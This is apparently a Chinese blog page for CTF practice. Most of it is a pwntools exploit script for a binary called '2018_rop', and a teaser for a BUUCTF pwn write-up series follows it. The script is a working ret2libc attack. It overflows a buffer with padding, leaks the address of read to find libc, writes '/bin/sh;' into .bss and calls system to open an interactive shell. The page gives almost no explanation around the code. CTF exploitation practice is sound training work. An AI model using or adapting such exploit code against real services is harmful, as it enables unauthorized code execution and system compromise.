elf=ELF("./2018_rop")
libc=ELF("./libc-2.2732.so")
context.log_level = 'debug'
def gdb_s():
    gdb.attach(io)
    pause()
if __name__=='__main__' :
    write_plt=elf.plt['write']
    read_got=elf.got['read']
    read_plt=elf.plt['read']
    bss_addr=0x804A020
    start_addr=0x80483C0
    payload='a'*0x8c+p32(write_plt)+p32(start_addr)+p32(1)+p32(read_got)+p32(4)
    io.sendline(payload)
    
    leak_addr=u32(io.recv(4))
    libc_addr=leak_addr-libc.sym['read']
    log.success(">>>>>libc_addr "+hex(libc_addr))

    system_addr=libc_addr+libc.sym['system']
    
    payload='a'*0x8c+p32(read_plt)+p32(start_addr)+p32(0)+p32(bss_addr)+p32(8)
    io.sendline(payload)
    io.send("/bin/sh;")
    payload='a'*0x8c+p32(system_addr)+p32(start_addr)+p32(bss_addr)
    io.sendline(payload)
    io.interactive()

pipixia233333

关注

2
点赞
踩
8

收藏

觉得还不错? 一键收藏
0
评论
BUUCTF PWN题刷题记录 (未完待续)

最近找了一个新的CTF比赛平台但是不知道为啥pwn的服务器总是连不上，所以到时候还是直接本地打默认2.23 so 如果有高版本的话我再切换，，，逆向的话先等等吧，，，先不刷。。等有空了再刷第一题连上就有flag的pwn直接运行就有权限，。第二题 RIP覆盖一下这个没有任何保护直接覆盖rip就可以了from pwn import *conte...
复制链接

扫一扫